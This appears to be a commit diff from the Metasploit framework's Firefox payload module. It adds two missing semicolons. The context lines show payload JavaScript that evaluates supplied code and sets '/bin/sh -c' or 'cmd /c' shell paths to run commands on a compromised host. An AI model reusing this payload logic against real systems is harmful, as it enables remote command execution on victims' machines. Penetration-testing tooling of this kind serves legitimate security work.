parent
a8915f0ed8
commit
cc8ab9bcba
|
@ -92,7 +92,7 @@ module Msf::Payload::Firefox
|
||||||
try {
|
try {
|
||||||
retVal = Function('send', js[1])(function(r){
|
retVal = Function('send', js[1])(function(r){
|
||||||
if (sent) return;
|
if (sent) return;
|
||||||
sent = true
|
sent = true;
|
||||||
if (r) {
|
if (r) {
|
||||||
if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
|
if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
|
||||||
else cb(false, r+tag+"\\n");
|
else cb(false, r+tag+"\\n");
|
||||||
|
@ -111,7 +111,7 @@ module Msf::Payload::Firefox
|
||||||
}
|
}
|
||||||
|
|
||||||
var shEsc = "\\\\$&";
|
var shEsc = "\\\\$&";
|
||||||
var shPath = "/bin/sh -c"
|
var shPath = "/bin/sh -c";
|
||||||
|
|
||||||
if (windows) {
|
if (windows) {
|
||||||
shPath = "cmd /c";
|
shPath = "cmd /c";
|
||||||
|
|
Loading…
Reference in New Issue